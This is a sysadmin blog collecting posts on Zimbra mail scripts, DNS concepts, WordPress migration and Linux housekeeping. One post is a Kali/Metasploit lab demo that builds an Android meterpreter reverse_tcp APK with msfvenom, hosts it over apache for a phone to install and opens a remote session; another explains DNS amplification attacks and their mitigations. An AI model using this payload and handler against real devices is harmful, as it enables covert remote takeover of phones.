sysadmin

Google chrome is showing error in Windows 10 - Error Code:STATUS_INVALID_IMAGE_HASH

2020-05-05T13:04:00.001+05:30

MY Google chrome is showing error in Windows 10

- Error Code:STATUS_INVALID_IMAGE_HASH

How TO FIX IT ?

open the file explorer

GO to chrome application.

Generally Location for CHROME is

c;\Program Files (x86)\Google\Chrome\Application

Once you have found the application as 'chrome' in the folder simply rename it to anything other than 'chrome'. Like XChrome, Ychrome, etc.

Open Google Chrome again and the “Aw Snap error “ is resolved.

Demo for Mobile (Andriod) App Hacking using Kali Linux and Metasploit Framework

2019-12-19T13:07:00.001+05:30

What is Kali Linux ?

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali contains several hundred tools which are geared towards various information security tasks, such as Penetration Testing, Security research, Computer Forensics and Reverse Engineering.

What is Metasploit Framework ?

The Metasploit Framework is an open source penetration testing and development platform that provides exploits for a variety of applications, operating systems and platforms. Metasploit is one of the most commonly used penetration testing tools and comes built-in to Kali Linux.

Please follow the below for the Testing of Andriod Mobile using Vulnerable Mobile App (Using Metasploit Framework)

1. Install the KALI LINUX in Virtual BOX/VMWARE

2. Install the Andriod OS in Virtual Box from https://www.osboxes.org/android-x86/

Android-x86 4.4-r4 (download this Version)

3.Please follow the below for the Testing of Andriod using App (Using Metasploit Framework)

4. Create the MALWARE for Andriod

#msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.50.21-o /root/fun.apk

5. Share the app to user/Mobile Phone using apache or Email.

#start apache2 start

#start postgresql start

Borwse the IP to verify the Web server is Running

Create the Folder in /var/www/html/fun/

Copy the file fun.apk to /var/www/html/fun/

6. In the Kali VM Start the postgresql by using

# service postgresql start

#msfconsole

msf>set payload andriod/meterpreter/reverse_tcp

msf exploit(handle)>set LHOST 192.168.50.21(KALI VM IP ADDRESS)

msf .....>show options

msf......> exploit -j z

(We need to Wait for Andriod Device to install APK)

Browse the Website /fun/ & Install fun.apk

In andriod go to Download and install apk See the permission

Go to Kali Linux We will see the session is there

>sessions -i 1

>help

(It will show the commands)

>ifconfig

>ps

>ls

How To Migrate a WordPress website/web-app from Test environment to Production /Hosting Server

2019-10-25T16:32:00.001+05:30

If a Developers has developed a website/Web App on WordPress on His Laptop /Desktop .

Following needs to be Take Care/implement while Migration the wordpress to the Production Server.

Assuming the URL is www.domain.com and Localfolder name is webfolder

1. www.domain.com should point to the IP Address (A.B.C.D)

2. Replace all the entries in the Mysql Database from localhost to www.domain.com

3. If the Developer is using http://localhost/webfolder for development following needs to be updated in .htaccess file
Check the error_log under apache Logs ;

If the Logs are like this
[Thu Oct xxxx xxx xxx ] [core:error] [pid 1472] [client X.y.z.c:64854] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.domain.com/wp-admin/index.php

The .htaccess file which you have copied from laptop/desktop to Production site look like this.

# BEGIN WordPress

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /webfolder

RewriteRule ^index\.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . /webfolder/index.php [L]

</IfModule>

# END WordPress

Update the .htaccess file as below – Remove folder name

# BEGIN WordPress

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteRule ^index\.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . /index.php [L]

</IfModule>

# END WordPress

script for amc expiry email notification .

2018-03-26T15:09:00.001+05:30

This Script will send the reminder email 90 Days before the AMC Expires .

The Number of Days you can change by changing the NU Value . the email@domain.com should be replaced with your email id. The send-mail Path can be replaced by the send-mail path of the server.

There is need to create a Data file which will contain the Information for AMC of the Equipment. The input.txt format is shown below .

#!/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
#script for amc expiry email notification.
NU="90"
FROM="admin@domain.com"
#value1=$(echo $line| awk -F\ '{print $1}' input.txt)
#value2=$(echo $line| awk -F\ '{print $2}' input.txt)
#value3=$(echo $line| awk -F\ '{print $3}' input.txt)
DATEN=$(date +%s)
IFS="|"
while read -r value1 value2 value3
do
echo "value1 is " $value1
echo "value 2 is " $value2
echo "value 3 is " $value3
dat2=$(date -d "$value3" +'%Y%m%d')
echo "dat2 is expiry date "$dat2
DATE=$(date -d "$dat2" +%s)
echo "date for expiry in seconds " $DATE
echo "todays date in seconds is "$DATEN
DEADLINE=$(( (($DATE - $DATEN)) / 86400 ))
echo $DEADLINE
if [[ "$DEADLINE" -lt "$NU" ]]
then
MAIL_BODY="
Dear Team,

The "$value2" going to expires in "$DEADLINE" days

Regards,
AMC Team

.
"
echo "Subject: AMC / Warranty Alert" "$MAIL_BODY" | /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail -t email@domain.com

fi
done < "/usr/bin/input.txt"

The input.txt file is shown below. Replace the Vendor_NAME AMC-Server and Serial Number Last is the date of AMC/Warranty/Subscription Expiry Date. Please put the file in /usr/bin folder with same name as input.txt

Vendor_NAME|AMC-Server/N:F8393993939333|YYYYMMDD
Vendor_NAME2|AMC-Server1/N:F8393993939333|YYYYMMDD
Vendor_NAME3|AMC-Server2/N:F8393993939333|YYYYMMDD
Vendor_NAME4|AMC-Server3/N:F8393993939333|YYYYMMDD
Vendor_NAME5|AMC-Storage4/N:F8393993939333|YYYYMMDD
Vendor_NAME|AMC-Router/N:F8393993939333|YYYYMMDD
Vendor_NAME|AMC-FIREWALL/N:F8393993939333|YYYYMMDD
Vendor_NAME|AMC-Software1/N:F8393993939333|YYYYMMDD

How to Create a Delegated Admin Account in Zimbra 8.x

2018-03-15T12:47:00.001+05:30

How to Create a Delegated Admin Account in Zimbra 8.x.

Create a File as shown below with the contents .

Replace the domain.com and helpdesk Email id with your domain and helpdesk (Delegated Admin ) Name.

#vi admindelegate

#!/bin/bash
# $1 domain.com
# $2 helpdesk
zmprov ma $2 zimbraIsDelegatedAdminAccount TRUE
zmprov ma $2 zimbraAdminConsoleUIComponents cartBlancheUI
zimbraAdminConsoleUIComponents domainListView zimbraAdminConsoleUIComponents
accountListView zimbraAdminConsoleUIComponents DLListView
zmprov ma $2 zimbraDomainAdminMaxMailQuota 0
zmprov grantRight domain $1 usr $2 +createAccount
zmprov grantRight domain $1 usr $2 +createAlias
zmprov grantRight domain $1 usr $2 +createCalendarResource
zmprov grantRight domain $1 usr $2 +createDistributionList
zmprov grantRight domain $1 usr $2 +deleteAlias
zmprov grantRight domain $1 usr $2 +listDomain
zmprov grantRight domain $1 usr $2 +domainAdminRights
zmprov grantRight domain $1 usr $2 +configureQuota
zmprov grantRight domain $1 usr $2 set.account.zimbraAccountStatus
zmprov grantRight domain $1 usr $2 set.account.sn
zmprov grantRight domain $1 usr $2 set.account.displayName
zmprov grantRight domain $1 usr $2 set.account.zimbraPasswordMustChange
zmprov grantRight domain $1 usr $2 getDomainQuotaUsage
zmprov grantRight account $2 usr $2 +getAccountInfo
zmprov grantRight account $2 usr $2 +getAccountMembership
zmprov grantRight account $2 usr $2 +getMailboxInfo
zmprov grantRight account $2 usr $2 +listAccount
zmprov grantRight account $2 usr $2 +removeAccountAlias
zmprov grantRight account $2 usr $2 +renameAccount
zmprov grantRight account $2 usr $2 +setAccountPassword
zmprov grantRight account $2 usr $2 +viewAccountAdminUI
zmprov grantRight account $2 usr $2 +configureQuota

After Saving the File Run the following command

#chmod +x admindelgate
#./admindelegate domain.com helpdesk

Before Running create the user in zimbra as helpdesk.

This will delegate User helpdesk as admin with Limited Rights .

The user can Login using 7070 Port in zimbra and Perform the Admin actions

SCRIPT TO SHOW INVALID LOGIN ATTEMPTS IN RED COLOR AND VALID LOGIN IN GREEN COLOR FOR ZIMBRA 8.x

2018-03-09T21:50:00.000+05:30

Create a File by using #vi /usr/bin/watchaudit with the following contents

tail -f /opt/zimbra/log/audit.log | awk '
/INFO/ {print "\033[32m" $0 "\033[39m"}
/WARN/ {print "\033[31m" $0 "\033[39m"}
'

Close and Save the File.

Run the Watchaudit File in SSH Console .

#chmod +x /usr/bin/watchaudit

#/usr/bin/watchaudit

Script for release the RAM cache everyday

2016-11-08T16:50:00.001+05:30

# This is the script for release the memory cache everyday #
top -b -n 1 | head > /tmp/file1.txt
sleep 10
sync; echo 1 > /proc/sys/vm/drop_caches
sleep 20
top -b -n 1 | head > /tmp/file2.txt
cat /tmp/file1.txt /tmp/file2.txt > /tmp/ram.txt

EMAIL_BODY="
Hello Sysadmin Team,

This is the RAM status after releases:
$(cat /tmp/ram.txt)
Thanks,
DC Team
"

echo "Subject: RAM status for ABC Server" "$EMAIL_BODY" | /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail -t alert@domain.com.

The Above Script will clear the Unused RAM . This will send the email before and after Clearing the RAM.
Use This script when very Less number of users are using the server.This script will run on Linux Server (RedHat/Centos).The Script can be run during Night Time using Crontab.

Kindly update the Email ID and Sendmail path correctly as per your server.

The Script for Temperature Alert using email from the Linux Server (If it Cross 40 c)

2016-11-08T16:34:00.002+05:30

#! /bin/bash
TEMP=$(sensors | grep "id 0" | cut -d + -f2 | cut -d . -f1)
if [ "$TEMP" -ge 40 ]; then
echo $TEMP
date > /tmp/temp
sensors >> /tmp/temp
TEMP_BODY="
Hello Helpdesk Team,
This is the Temperature Alert Message for ABC Server at DC Location,CITY:
$(cat /tmp/temp)
Regards,
Datacenter TEAM
"
echo "Subject: ALERT High Temperature for Server at DC Location " "$TEMP_BODY" | /opt/postfix-2.10.3.2z/sbin/sendmail -t email@domain.com
fi

In this Script Replace the email@domain.com with Correct Email id and Sendmail path with correct Send-mail path. In this script we are monitoring the CPU Temperature. This Script will work on Linux Server (Red Hat/Centos )

Password Expiry notification for the users in zimbra 8.x within 7 Days for the email users

2015-06-30T12:12:00.004+05:30

This Script will run as cron tab daily basis and it will alert the users for whom password is going to expire within 7 days. It will also alert admin for the users for whom password expired.

Kindly replace the domain.com with your own domain name and the /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail path to the actual path of postfix

#!/bin/bash
#Script for zimbra password expiry email notification.
# Meant to be performed as daily cronjob run as zimbra user.
# redirect output to a file to get a 'log file' of sorts.

# Time taken of script;
echo "$SECONDS Started on: $(date)"
# Set variables:
# First notification in days, then last warning:
FIRST="7"
LAST="3"
# pass expiry in days, we are assuming passwd exiry is 150 Days
POLICY="150"
# Sent from:
FROM="admin@domain.com"
# Get all users - it should run once only.
USERS=$(ionice -c3 /opt/zimbra/bin/zmprov -l gaa domain.com)

#Todays date, in seconds:
DATE=$(date +%s)
# Iterate through them in for loop:
for USER in $USERS
do
# When was the password set?
USERINFO=$(ionice -c3 /opt/zimbra/bin/zmprov ga $USER)
PASS_SET_DATE=$(echo "$USERINFO" | grep zimbraPasswordModifiedTime: | cut -d " " -f 2 | cut -c 1-8)
NAME=$(echo "$USERINFO" | grep givenName | cut -d " " -f 2)

# Make the date for expiry from now.
#echo PASS_SET_DATE is $PASS_SET_DATE
EXPIRES=$(date -d "$PASS_SET_DATE $POLICY days" +%s)
#echo PASS_SET_DATE is $PASS_SET_DATE
#echo EXPIRES DAYS is $EXPIRES
# Now, how many days until that?
DEADLINE=$(( (($DATE - $EXPIRES)) / -86400 ))

# Email to send to users...
SUBJECT="$NAME - Your Password will expire in $DEADLINE days"
BODY="
Hi $NAME,
Your account password will expire in "$DEADLINE" days, Please reset your password soon.
You may also enter a zimbra calendar event to remind you.
Thanks,
Email Admin team
"
# Send it off depending on days, adding verbose statements for the 'log'
# First warning
if [[ "$DEADLINE" -eq "$FIRST" ]]
then
echo "Subject: $SUBJECT" "$BODY" | /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail -f $FROM "$USER"
echo "Reminder email sent to: $USER - $DEADLINE days left"
# Second
elif [[ "$DEADLINE" -eq "$LAST" ]]
then
echo "Subject: $SUBJECT" "$BODY" | /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail -f $FROM "$USER"
echo "Reminder email sent to: $USER - $DEADLINE days left"
# Final
elif [[ "$DEADLINE" -eq "1" ]]
then
echo "Subject: $SUBJECT" "$BODY" | /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail -f $FROM "$USER"
echo "Last chance for: $USER - $DEADLINE days left"

# Check for Expired accounts, get last logon date add them to EXP_LIST2 every monday
elif [[ "$DEADLINE" -lt "0" ]] && [ '$(date +%a) = "Mon"' ]
then
LASTDATE=$(echo "$USERINFO" | grep zimbraLastLogonTimestamp | cut -d " " -f 2 | cut -c 1-8)
LOGON=$(date -d "$LASTDATE")
EXP_LIST=$(echo "$USER's password has been expired for ${DEADLINE#-} day(s) now, last logon was $LOGON.")
EXP_LIST2="$EXP_LIST2 \n $EXP_LIST"

else
# > /dev/null for less verbose logs and a list of users.
echo "Account: $USER reports; $DEADLINE days on Password policy"
fi

# Finish for loop
done

echo "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"

# Send off list using hardcoded email addresses.

EXP_BODY="
Hello Email Admin team,
This is the monthly list of expired passwords and their last recorded login date:
$(echo -e "$EXP_LIST2")
Regards,
Email Admin Team.
"
echo "Subject: List of accounts with expired passwords" "$EXP_BODY" | /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail -f admin@domain.com
# Expired accts, for the log:
echo -e "$EXP_LIST2"

echo "finished in $SECONDS seconds"
echo "Thank you"

Zimbra backup open source for zimbra 8.x for 7 Days

2015-06-29T17:26:00.002+05:30

The Script will take the backup in the /backup/zimbra/1 , /backup/zimbra/2 , /backup/zimbra/3 , /backup/zimbra/4 , /backup/zimbra/5 , /backup/zimbra/6 , /backup/zimbra/7 and after 7th day it will overwrite the day1 folder.

This will keep the full backup for all the users in the 7 folders.
In this script replace the domain.com with your company domain name.
The Script can be schedule in cron tab jobs.

#!/bin/bash -x
DateToday=`date -I`
FolderZ=`date +%d`
X=$FolderZ
W2=7
W3=14
W4=21
W5=28
if [ "$X" -lt 8 ]
then
X=`expr $X - 0`
echo $X
elif [ "$X" -lt 15 ]
then
X=`expr $X - $W2`
elif [ "$X" -lt 22 ]
then
X=`expr $X - $W3`
elif [ "$X" -lt 29 ]
then
X=`expr $X - $W4`
else
X=`expr $X - $W5`
fi
echo $X
rm -rf /backup/zimbra/$X/*
su zimbra -c "/opt/zimbra/libexec/zmslapcat /backup/ldapbkp"
su zimbra -c "/opt/zimbra/libexec/zmslapcat -c /backup/ldapbkp"
sudo -u zimbra /opt/zimbra/bin/zmprov -l gaa -v | grep uid | grep -v spam | grep -v ham | grep -v zimbra | grep -v virus | grep -v galsync > /tmp/usertmp
sed 's/uid: //g' /tmp/usertmp > /tmp/userlist$DateToday
#Backup of Zimbra mailboxes using zmmailbox
# Restore of mailbox should be performed using:
# /opt/zimbra/bin/zmmailbox -z -m user@host postRestURL -u https://HOST "//?fmt=tgz&resolve=skip" mailbox-name-date.tgz
BackupFolder="/backup/zimbra"
for MailBox in `cat /tmp/userlist$DateToday`
do
#echo $FolderZ
sudo -u zimbra /opt/zimbra/bin/zmmailbox -z -m $MailBox@domain.com getRestURL "//?fmt=tgz" > /backup/zimbra/$X/$MailBox-$DateToday.tgz
done
cat /tmp/messagebkp /tmp/userlist$DateToday > /tmp/userlistmessage$DateToday
/opt/zimbra/postfix-2.10.3.2z/sbin/sendmail -t admin@domain.com < /tmp/userlistmessage$DateToday

DNS AMPLIFICATION LIMITS AND SOLUTIONS - DNSCURVER ALTERNATE TO DNSSEC

2014-02-18T23:45:00.001+05:30

What is DNS Amplification Attack ?

Before we understand the DNS Amplification Attack, lets learn about DDoS first. Distributed denial-of-service Attack (DDoS), is a cyber threat looming large on Organizations. It adversely affects the online productivity of individuals too. Anyone who relies on their Internet presence to generate revenue can be a target.

The Security tangent comes in question here. First, let us understand what DoS attack is. A denial of service (DoS) attack is a malicious attempt to make a server or a network resource unavailable to users. This is usually performed by interrupting or suspending the services of a host connected to the Internet.

Distributed DoS (DDoS) attacks are DoS attacks launched from multiple hosts simultaneously. The flood of incoming messages to the target system forces it to shut down or choke bandwidth. Hence, denying service to the legitimate users.

The domain name system (DNS) is one of the most critical service that keep the Internet working. However, it’s also been the most popular target for attackers. A DNS amplification attack is a form of distributed denial of service (DDos) attack that takes benefit from a much larger response generated by a small DNS query. When combined with source address spoofing, an attacker can direct a large volume of network traffic to the target system by initiating relatively small DNS queries.

DNS Amplification Attack, as the name suggests, is a way for an attacker to magnify the bandwidth for targeting a potential victim. By leveraging a botnet to produce a large number of spoofed DNS queries, an attacker can create an immense amount of traffic with little effort. Additionally, because the responses are legitimate data coming from valid servers, it is extremely difficult to prevent these types of attacks. While the attacks are difficult to stop, network operators can apply several possible mitigation strategies.

DNS Amplification Attack: The Scenario

An attacker builds up his army of attack sources (the botnet). He writes large amplification records (e.g., a 4000 byte DNS TXT resource record) in the zone file of the name server he has compromised. Then, the attacker attacks the targeted name server via open recursive servers.

In the image below, the attacker targets a name server at the IP address 10.10.1.1. At the attacker’s signal, all the zombies, the botnets, issue DNS request messages asking for the amplification of records through open recursive servers. The botnet hosts the spoof to the targeted name server by writing 10.10.1.1 in the source IP address field of the IP packets containing their DNS request messages.

In reality, the targeted name server at 10.10.1.1 never issues any DNS request messages. But, it now receives a flurry of responses. The responses contain a 4000 byte DNS TXT record. A message of this size exceeds the maximum (Ethernet) transmission unit. Hence, it is broken into multiple IP packets. This forces reassembly at the destination and increases the processing load at the target and enhances the deception.

The response spans several IP fragments and only the first fragment contains UDP header. The target may not immediately recognize that the attack is DNS-based.

Important Terminologies

System Compromise – An attacker doesn’t want to use his own system for performing attacks on other systems. Hence, he launches the attack from systems on which he has gained unauthorized administrative control. The attacker can remotely control and direct the compromised system to initiate a DoS attack.
Amplification – Amplification, as the name suggests, increases the traffic volume in an attack. In the DNS attack, the attacker uses an extension to the DNS protocol (EDNS0) that enables large DNS messages. The attacker composes a DNS request message of approximately 60 bytes to trigger delivery of a response message of approximately 4000 bytes to the target.
Impersonation – The IP addresses are impersonated or copied to launch attacks. In the DNS attack, each attacking host uses the targeted name server’s IP address as its source IP address rather than its own. The effect of spoofing /impersonating IP addresses is that the responses to DNS requests is returned to the target rather than the spoofing hosts.
Recursion- It is a method of processing a DNS request in which a name server performs the request for a client by asking the authoritative name server for the name record.

DNS Amplification Attack Techniques

DNS amplification works on the concept of amplifying the response data to a target server via impersonating the IP address by an attacker. Some of the techniques which can be used for mitigating such attacks are:-

Source IP Verification: In this process, the Internet Service Provider target filtering on the basis of spoofed IP addresses. The filters are placed on the basis of the routers determining whether the victim’s IP address is reachable via the interface from where the packet is originated. If not, then the packet is rejected. This is termed as Network Ingress Filtering.
Recursion disabling and restriction on Authoritative name servers: Recursion disabling should be employed on the basis of the domain that the name server caters to. For requests on other domains, the authoritative name server should not perform recursion. As for restrictions, it should be employed for DNS servers present inside an organization’s network so that they perform recursion for authorized clients only.
Removal of unsecured recursive resolvers: This is deemed as the best way to mitigate such threats. But, due to abundance of open DNS resolvers on the internet, this process is practically infeasible.
Response Rate Limiting: There is currently an experimental feature available as a set of patches for BIND9 that allows an administrator to limit the maximum number of responses per second being sent to one client from the name server. This functionality is intended to be used on authoritative domain name servers only as it will affect performance on recursive resolvers.
What is a DNS amplification DDoS attack?
This technique consists of an attacker sending a DNS name lookup request to an open DNS resolver with the source address spoofed to be the victim’s address. When the DNS server sends the DNS record response, it is sent to the victim (the source address that was used in the spoofed request). Because the size of the response is typically considerably larger than the request, the attacker is able to amplify the volume of traffic directed at the victim (and ironically the introduction of DNSSEC increased the potential amplification factor).

The solution to this problem is not acquiring more bandwidth or server power but rather:

Apply proper ingress filtering on your network.
Follow security best practices for configuring DNS and limit recursion.

The process of filtering does not prevent your name servers from being used but it prevents that attacks can originate from your network. Applying this filtering technique is part of the basic internet hygiene.
Correctly designing and configuring your DNS setup actually prevents that someone can abuse your name servers.

Security best practices for configuring DNS and limit recursion

Limiting DNS recursion can be done in two places.
First you will have to configure your name server to do only allow recursion for a list of authorized clients.
Secondly we suggest that you apply proper filtering on your firewall. Do not block *all* the DNS queries as this will prevent your clients from using the internet properly. Possibly you can block all the queries except those that are coming from your designated internal recursive name servers. You can also configure your client to use the recursive name servers of your ISP and then only allow the DNS queries related to these servers.
If order to facilitate the ease of this setup we strongly advise you to split your authoritative and recursive name servers. This will prevent configuration errors and makes administration far easier.
There’s no immediate danger involved if you leave your authoritative name servers publicly available on the internet as their replies are typically much smaller.

WE can also use a hidden master so that only your slave authoritative DNS servers are publicly available on the internet.

THE DNS SEC WILL INCREASE THE ATTACK FURTHER AS IT WILL REPLY WITH MORE DATA....

ANSWER FOR DNSSEC LIMITATION IS

DNSCurve: an alternative to DNSSEC

Case Study

A massive 300Gbps was thrown against Internet blacklist maintainer Spamhaus’ website but the anti-spam organisation , CloudFlare was able to recover from the attack and get its core services back up and running.

Spamhaus, a group based in both London and Geneva, is a non-profit organisation that aims to help email providers filter out spam and other unwanted content. Spamhaus is pretty resilient, as its own network is distributed across many countries, but the attack was still enough to knock its site offline.

The high attack bandwidth was made possible because attackers used misconfigured domain-name service (DNS) servers known as open recursive resolvers or open recursors to amplify a much smaller attack into a larger data flood. Known as DNS reflection, the technique used requests for a relatively large zone file that appeared to be sent from the intended victim’s network.

According to CloudFlare, it initially recorded over 30,000 DNS resolvers that were tricked into participating in the attack. There are as many as 25 million of these open recursive resolvers at the disposal of attackers. The attack was devised by a Dutch hosting company called CyberBunker.

Slave/Secondary DNS Server (Read Only DNS Server) How AXFR & IXFR Works in DNS for Zone Transfer ?

2014-01-10T18:37:00.001+05:30

Slave/Secondary DNS Server (Read Only DNS Server)

How AXFR & IXFR Works in DNS for Zone Transfer ?

The term slave simply indicates that a name server will obtain the zone records using zone transfer operations but will answer authoritatively for the zone for as long as it has valid zone data (defined by the expiry field of the zone’s SOA RR). The term slave in no sense implies priority of access. As previously described, slave servers will be accessed, in general, just as frequently as any master name server. Slave servers may also transfer their zone files to other slave servers.

The Zone Transfer between Master Server and Secondary Server

What is AXFR ?

AXFR Transfer: The DNS polling process is accomplished by the slave name server sending a query to the zone master requesting the SOA RR. If the SOA RR’s serial number is greater than the current one maintained by the slave name server, a full zone transfer (AXFR) is requested by the slave DNS. This is the reason it is vital to be disciplined about updating the SOA serial number every time anything changes in any of the zone records

The Serial number format may be used as follows ;

YYYYMMDDSS:

For e.g 2014010800 -- > Serial number of a zone training.com

If there is any change of Record for e.g Change of A Record or update of Record of the zone training.com

The new Serial number will be -à 2014011000

Next Serial number will be -à 2014011001(the Last 2 Digit will increase by 1 number if there are multiple change of record for the same zone file in one day)

What is IXFR Transfer(Incremental Zone Transfer):

IXFR Transfer(Incremental Zone Transfer): Transferring very large zone files can take a long time and waste bandwidth and other resources. It is especially wasteful if only a single record has been changed! RFC 1995 introduced the incremental zonetransfer (IXFR), which (as the name suggests) allows the slave name server and master name server to transfer only those records that have changed.The process works as for AXFR. The slave name server sends a query for the domain’s SOA RR to the zone master every refresh interval. If the serial number of the SOA RR is greater than the one currently stored by the slave, the name server requests a zone transfer and indicates whether or not it is capable of accepting an IXFR. If both master and slave name servers support the feature, an IXFR takes place; otherwise, an AXFR takes place. IXFRs use TCP on port 53

How DNS Works ? How Query works -Recursive and Iterative Queries for DNS Server

2014-01-10T18:10:00.000+05:30

How DNS Works ?

A DNS domain name is used in a program on the local computer. The request is then passed to the DNS Client service for resolution using locally cached information. If the queried name can be resolved, the query is answered and the process is completed.

The local resolver cache can include name information obtained from two possible sources:

If a Hosts file is configured locally, any host name-to-address mappings from that file are preloaded into the cache when the DNS Client service is started.

For linux /unix the file is # vi /etc/hosts

For windows : c:\Windows\System32\drivers\etc

The file is hosts

Resource records obtained in answered responses from previous DNS queries are added to the cache and kept for a period of time.
If the query does not match an entry in the cache, the resolution process continues with the client querying a DNS server to resolve the name.
The cache can be cleared using the command

Ipconfig /flushdns

Querying a DNS server

The client queries a preferred DNS server from the network settings . The actual server used during the initial client/server query part of the process is selected from a global list. For more information about how this global list is compiled and updated, see Client features.

When the DNS server receives a query, it first checks to see if it can answer the query authoritatively based on resource record information contained in a locally configured zone on the server. If the queried name matches a corresponding resource record in local zone information, the server answers authoritatively, using this information to resolve the queried name.

If no zone information exists for the queried name, the server then checks to see if it can resolve the name using locally cached information from previous queries. If a match is found here, the server answers with this information. Again, if the preferred server can answer with a positive matched response from its cache to the requesting client, the query is completed.

If the queried name does not find a matched answer at its preferred server -- either from its cache or zone information -- the query process can continue, using recursion to fully resolve the name. This involves assistance from other DNS servers to help resolve the name. By default, the DNS Client service asks the server to use a process of recursion to fully resolve names on behalf of the client before returning an answer.

In order for the DNS server to do recursion properly, it first needs some helpful contact information about other DNS servers in the DNS domain namespace. This information is provided in the form of root hints, a list of preliminary resource records that can be used by the DNS service to locate other DNS servers that are authoritative for the root of the DNS domain namespace tree. Root servers are authoritative for the domain root and top-level domains in the DNS domain namespace tree.

By using root hints to find root servers, a DNS server is able to complete the use of recursion. In theory, this process enables any DNS server to locate the servers that are authoritative for any other DNS domain name used at any level in the namespace tree.

For example, consider the use of the recursion process to locate the name "host-b.example.microsoft.com." when the client queries a single DNS server. The process occurs when a DNS server and client are first started and have no locally cached information available to help resolve a name query. It assumes that the name queried by the client is for a domain name of which the server has no local knowledge, based on its configured zones.

First, the preferred server parses the full name and determines that it needs the location of the server that is authoritative for the top-level domain, "com". It then uses an iterative (that is, a nonrecursive) query to the "com" DNS server to obtain a referral to the "microsoft.com" server. Next, a referral answer comes from the "microsoft.com" server to the DNS server for "example.microsoft.com".

Finally, the "example.microsoft.com." server is contacted. Because this server contains the queried name as part of its configured zones, it responds authoritatively back to the original server that initiated recursion. When the original server receives the response indicating that an authoritative answer was obtained to the requested query, it forwards this answer back to the requesting client and the recursive query process is completed.

Although the recursive query process can be resource-intensive when performed as described above, it has some performance advantages for the DNS server. For example, during the recursion process, the DNS server performing the recursive lookup obtains information about the DNS domain namespace. This information is cached by the server and can be used again to help speed the answering of subsequent queries that use or match it. Over time, this cached information can grow to occupy a significant portion of server memory resources, although it is cleared whenever the DNS service is cycled on and off.

Alternate query responses

The previous discussion of DNS queries assumes that the process ends with a positive response returned to the client. However, queries can return other answers as well. These are the most common:

An authoritative answer
A positive answer
A referral answer
A negative answer

An authoritative answer is a positive answer returned to the client and delivered with the authority bit set in the DNS message to indicate the answer was obtained from a server with direct authority for the queried name.

A positive response can consist of the queried RR or a list of RRs (also known as an RRset) that fits the queried DNS domain name and record type specified in the query message.

A referral answer contains additional resource records not specified by name or type in the query. This type of answer is returned to the client if the recursion process is not supported. The records are meant to act as helpful reference answers that the client can use to continue the query using iteration. A referral answer contains additional data such as resource records (RRs) that are other than the type queried. For example, if the queried host name was "www" and no A RRs for this name were found in this zone but a CNAME RR for "www" was found instead, the DNS server can include that information when responding to the client.If the client is able to use iteration, it can make additional queries using the referral information in an attempt to fully resolve the name for itself.

A negative response from the server can indicate that one of two possible results was encountered while the server attempted to process and recursively resolve the query fully and authoritatively:

An authoritative server reported that the queried name does not exist in the DNS namespace.
An authoritative server reported that the queried name exists but no records of the specified type exist for that name.

The resolver passes the results of the query, in the form of either a positive or negative response, back to the requesting program and caches the response.

If the resultant answer to a query is too long to be sent and resolved in a single UDP message packet, the DNS server can initiate a failover response over TCP port 53 to answer the client fully in a TCP connected session.

Disabling the use of recursion on a DNS server is generally done when DNS clients are being limited to resolving names to a specific DNS server, such as one located on your intranet. Recursion might also be disabled when the DNS server is incapable of resolving external DNS names, and clients are expected to fail over to another DNS server for resolution of these names.

How iteration works in DNS ?

Iteration is the type of name resolution used between DNS clients and servers when the following conditions are in effect:

The client requests the use of recursion, but recursion is disabled on the DNS server.
The client does not request the use of recursion when querying the DNS server.

An iterative request from a client tells the DNS server that the client expects the best answer the DNS server can provide immediately, without contacting other DNS servers.

When iteration is used, a DNS server answers a client based on its own specific knowledge about the namespace with regard to the names data being queried. For example, if a DNS server on your intranet receives a query from a local client for "www.google.com", it might return an answer from its names cache. If the queried name is not currently stored in the names cache of the server, the server might respond by providing a referral -- that is, a list of NS and A resource records for other DNS servers that are closer to the name queried by the client.

When a referral is made, the DNS client assumes responsibility to continue making iterative queries to other configured DNS servers to resolve the name. For example, in the most involved case, the DNS client might expand its search as far as the root domain servers on the Internet in an effort to locate the DNS servers that are authoritative for the "com" domain. Once it contacts the Internet root servers, it can be given further iterative responses from these DNS servers that point to actual Internet DNS servers for the "google.com" domain. When the client is provided records for these DNS servers, it can send another iterative query to the external Microsoft DNS servers on the Internet, which can respond with a definitive and authoritative answer.

When iteration is used, a DNS server can further assist in a name query resolution beyond giving its own best answer back to the client. For most iterative queries, a client uses its locally configured list of DNS servers to contact other name servers throughout the DNS namespace if its primary DNS server cannot resolve the query.

Change of hostname for Redhat Linux/Cent OS /Fedora / Ubuntu / Suse Linux

2014-01-09T22:57:00.000+05:30

1. Change of Hostname for Redhat / Fedora / Cent OS Linux

First Check the Current hostname Login as root or do su.

# hostname

It will show the current hostname for e.g.testserver

new hostname : prodserver

go to the file /etc/sysconfig/network

# vi /etc/sysconfig/network
NETWORKING=yes
HOSTNAME=testserver

change the HOSTNAME to new name e.g. prodserver & save the file & quit.
or prodserver.domain.com

After this we need to reboot the server.
For current change we can use the below mentioned command
# hostname prodsever

check the file /etc/hosts & edit the entry if there is any for the IP Address & Hostname

2. For Ubuntu Linux

# vi /etc/hostname

Delete old name and add new name:

prodserver.jogi.com

Save and close the file. Type the following command:

# hostname prodserver.jogi.com

Change the /etc/hosts file with new hostname.

3. For Suse Linux

#vi /etc/HOSTNAME

Delete old name and add new one:
prodserver.jogi.comSave and close the file. Type the following command:
hostname prodserver.jogi.com

